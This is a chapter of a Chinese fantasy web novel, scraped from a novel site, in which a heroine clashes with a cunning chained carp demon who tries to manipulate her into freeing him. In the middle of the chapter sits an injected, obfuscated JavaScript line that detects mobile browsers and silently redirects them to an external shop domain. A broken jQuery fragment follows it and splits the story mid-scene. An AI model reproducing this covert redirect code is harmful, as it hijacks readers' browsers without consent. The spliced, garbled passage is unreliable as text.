文趣网 > 其他小说 > 照妖画神 > 7. 此鱼,善会攻心
    舟溢像看傻子一样看了她一眼,厌厌的不想说话。

    什么意思,又不说话,默认了吗?

    谷酥下意识攥紧了发白的手指,“行,我给过你解释的机会了,那就别怪我要为民除害了。”

    终于,舟溢被她的话激起了一点兴趣,“就凭你,也想杀我?”

    尽管身体已经被银链勒到皮开肉绽,到了往外溢血的程度,舟溢说这话时,却依旧带着不屑,甚至毫不掩饰他的轻蔑。

    谷酥看着他的伤,冷嘲热讽了一声:“没错,就凭我。”

    可她刚说完,舟溢就挑衅般把他近两米长的大尾巴从寒潭里捞了出来,重重摔在两人之间,金色竖瞳嵌在深邃眼窝里,散发着极度的危险。

    【小天:妆神大人,敌意值又爆表了,您要小心啊。】

    谷酥:我知道,本来就没打算硬刚,你没看见那神器把他拴得好好的吗?我就是耗一耗他的体力。

    没错,她是故意激怒舟溢的,敌意值是一把双刃剑,他动的杀心越重,反而对自己的束缚也就越重。谷酥就是想利用这一点,等他筋疲力竭的时候再完成收割。

    可舟溢却似乎看穿了她的意图。

    他冷静下来,怒竖的金瞳也逐渐缓和,巨大的鱼尾也滑回水里,轻轻摇荡着。

    舟溢轻轻勾起一抹笑,乌黑的及腰长发沾了水,一缕一缕地贴在脖子上,和古铜色金链缠在一起。

    他知道谷酥在看自己,于是微昂下巴,挑衅地冲她扬起了眉。

    谷酥看见这一扬,眉心瞬间拧了起来。

    老天爷也太不公平了。

    她心道。

    为什么要给一个罪大恶极的坏蛋如此美貌?关键是,让他美就算了,还给他一个这么好的脑子干什么,奖励吗,偏爱吗?

    好脑子,坏脾气,谷酥觉得自己倒大霉了。

    【小天:妆神大人,有新情况。】

    谷酥郁闷道:说。

    【小天:您的功德值,增加了。】

    谷酥:哦……

    谷酥:嗯?你再说一遍,我干什么了,怎么突然给我加功德?

    【小天:我有看到,您的功德值虽然一直在赤色暴跌状态,但是,有一簇绿色散股,正在以非常微弱的增幅跳动。】

    这倒是给谷酥整好奇了:加了多少?

    【小天:您听我给您报啊,功德值+1、功德值+1、功德值+2……就是这么个趋势,虽然和您的红色大窟窿比,依旧是杯水车薪,但它稳步注入的势头已经为您解开了限贷权限。】

    谷酥双眼顿时擦得锃亮:我可以买道具了?

    【小天:友情提示,您还是悠着点吧,别一会儿又封了。】

    谷酥瞥了一眼靠在洞壁上静静看着她的鲤鱼妖,以他现在的伤势,想要再来一次突击猛攻应该是不大可能了。

    虽然不怕他掀起什么风浪,但谷酥被他盯得很有一些发毛了。

    舟溢身为鲤鱼妖,本该和同为水族的其他鱼类一样温顺,单纯,可不知道是不是因为他是异化种族的缘故,整条鱼都看起来有点过于精明了,不太能够让人放得下心来。

    况且他还很狂。

    谷酥做过情景转换的假设,如果被锁起来的是她,而且外面每一个人都渴望她死,那她是绝对做不到像舟溢现在这样冷静的,更别说这家伙还能悠哉地荡着他的大尾巴,一点不觉得自己身在困境中。

    【小天:妆神大人,您看看洞外。】

    听到小天的声音,谷酥才勉强从和鲤鱼妖的眼神对峙中跳了出来。

    她贴着洞壁挪到山洞口的瀑布后,隔着水幕,看见底下的山林间再度燃起一簇簇火光。

    谷酥勾起一抹笑,“你看你看,这么多人都想你死,你确定不考虑求我再救你一次吗?”

    她回头看向舟溢。

    舟溢一脸淡然,靠着墙,冷冷注视着她:“求你?你不也想杀我吗?”

    “我跟他们不一样。”谷酥斩钉截铁道。

    舟溢冷笑了一声:“确实不一样,你喜欢先救再杀。”

    “我不像你一样恶趣味。”谷酥撇了撇嘴,“救你之前,我哪知道你是杀人的恶妖,要早知道的话——”

    “你就不会救了。”舟溢接上她要说的话,哼了一声,“还把我装成什么海神,自以为是的愚蠢人类,我根本就不需要你救。”

    嘿!?死鱼,好好一条美人鱼,怎么长了张嘴?

    谷酥翻了个冲天的白眼,咬牙切齿,“我救的不是你,是那些无辜村民,免得他们被你害死。你放心,一会儿他们上来杀你,我绝不插手,完全尊重你该有的死法。”

    然而等了半天,把谷酥神气扬扬的得意劲都给耗没了,村民们也还是没上来。

    甚至可以说外面是一点动静都没有。

    她向外瞥了一眼,看见火光摇曳在外圈一点没动。

    山洞最深处,舟溢眯着眼靠水小憩,像是笃定了她的话无法成真一样,“那你就在洞口好好守着吧,看他们什么时候会来。”

    谷酥眼睛一沉,“你给他们下蛊了,这么清楚?”

    舟溢懒懒地回着:“对,我也给你下蛊了,就是我蛊惑你来杀我的。”

    谷酥切了一声。

    她算是彻底发现了,这条鱼一老没个正形,跟他对话还不如去跟鬼聊天,鬼说都比他说的靠谱。

    突然,外面响起一道声音。

    “海神大人啊——!”

    洪亮的嗓音从瀑布外蹦进来,把谷酥吓了一大跳。

    干什么干什么?要死啊!

    她腿软地撑着洞壁,一手捂住胸口,好死不死,她还听到了从洞里面传来的嘲笑。

    谷酥肃目瞪过去,看见舟溢咧着嘴,笑得不知道有多开心。

    外面的声音还在继续。

    “海神大人啊!求您庇佑莫渔村,送海上迷途的孩子归家吧!”

    “求您了!——”

    几十道声音叠在一起,响彻山谷,在这大半夜的深山老林里,瘆人的很。

    “诶?”谷酥混乱了,“不是说来杀鱼吗?怎么供奉上了?”

    舟溢还在笑:“所以我说你蠢嘛,都把我变成神了,你还不知道他们最想要的是什么吗?”

    谷酥狠狠挖了舟溢一眼,拨开水帘,从挡出来的小小孔洞里,看见面朝瀑布的水岸边,一张一臂宽的漆黑供桌上,摆满了供果和晒好的鱼干。

    还是溜早了,应该把他们的话全都听完的。

    谷酥悔不当初。

    舟溢撑开眼,他的目光几近冷酷,带着看透世间炎凉的淡漠,冷冷对谷酥道出了残酷真相:“就算我杀了他们的人,只要我是神,能带给他们想要的庇佑,便可以罔顾一切,这还得多亏了你带我演的这出戏呢。”

    “可你不是神,给不了他们想要的。”

    “所以啊……”舟溢撑起鱼尾,直立在山洞中朝谷酥缓慢靠近,“你不妨想想,当他们发现我这个海神依旧无能,无法护住他们的村庄时,这份愤怒,是否会连带着曾经的怨憎,加倍奉还回来呢?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17820304|211135||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    谷酥愣住了,她没想到这里。

    舟溢还在继续,“那时,谁还能听得进辩解,哪怕一开始重伤他们的恶妖本就不是我,可真相对于愤怒的人群来说,重要吗?他们要的,只是一个发泄对象。”

    “……所以,我刚才问你杀人是不是为了好玩的时候,你才一声不吭。”

    “事已至此,否认,还有什么意义呢?”舟溢游到谷酥身边,他直立起来的高度就快要贴到洞顶了,居高临下的俯视,让谷酥心理压力更大了。

    谷酥咽了口唾沫。怎么办,他说的好有道理,她好像,搞砸了……

    几秒后,舟溢弯曲鱼尾,俯身下来,露出了他胸前的锁链,“解开它,放我走。”

    谷酥自责地昂起头,撞上了舟溢那难得温顺的目光,产生了一瞬间的错觉。

    她抬起手,指尖还没碰到舟溢身上的银链,一个暴躁的声音就突然毫无征兆地闯入她脑中,狠狠地敲响了警钟。

    【桑紫:酥酥你别被他给骗了!他在诱导你给他松绑!】

    谷酥伸出去一半的手猛然顿住,立马缩回到背后,目光死死盯着舟溢那双柔情似水的眼睛,“你现在才是在蛊惑我。”

    近在咫尺的那张俊脸笑意更深,舟溢拉开和她贴近的距离,双手被捆于身后,却依旧昂首,蔑视地看着她,“你发现了,又能怎样?”

    趁他的鱼尾还没扬起来,谷酥就反应敏捷地往山洞里一窜,翻滚到寒潭边上躲过了他的偷袭。

    “不错嘛,长记性了。”舟溢转回来面朝谷酥,银链在他身上再次缩紧,本来已经止住血的伤口再一次被割开。

    他闷咳了一声,硬是把涌到嗓子眼的血给咽了回去,可还是有多出来的血蹭在他泛白的嘴唇上,把此刻的舟溢映衬得像个嗜血的疯子。

    寒潭边上的谷酥做好了随时逃命的准备,她瞥见三步外的化妆箱,余光朝深不见底的寒潭里偷偷望了一眼。

    “其实我们没必要弄得你死我活的,对吗?”舟溢咧着嘴笑,唇色被血浸得过于艳丽反倒妖娆,“我很真诚的,一条鱼,能有什么坏心眼呢?只不过是想你放过我罢了。”

    “你还不坏?全身上下八百个孔,全都是坏心眼,我要是还能再信你一次,活该被你玩死!”谷酥气得声音都开始发抖了。她就没见过心眼子这么多的鱼!

    “别说,你确实挺好玩的。”舟溢的脑袋偏了一点角度,看向谷酥的眼神里充满了趣味。

    “恶趣味。”谷酥狠狠啐了他一口,目光锁定化妆箱,嘴角一勾冲他道:“可惜,我不陪你玩儿了,再见!”

    她一个飞身扑向化妆箱,就连舟溢都没反应过来,她就连滚带翻,笔直朝寒潭里扎了进去。

    舟溢反应过来时已经晚了。

    “不能进!”

    他根本来不及阻止,眼睁睁看着谷酥在自己面前跳进了寒潭中,如同泥鱼入水,瞬间没了踪影。

    他冲到岸边,眉心锁死,望着深不见底的潭水,沉默了许久。

    这女人是自己跳下去的,不是他逼的,死在下面也跟他没有关系。

    舟溢咬了咬唇。

    不行,她要死了,这链子解不开了怎么办?

    “真是麻烦。”他嘟囔了一句,黑着脸,一头扎进了寒潭里。

    入水溅起的水花,拍在山洞两侧由谷酥绘制的壁画上,幽蓝的光芒被水滋润后,如同被赋予了生命,星星闪耀起来。

    而壁画中,那只只存在于假说中的海怪,却和其他壁画闪起了相反的光芒。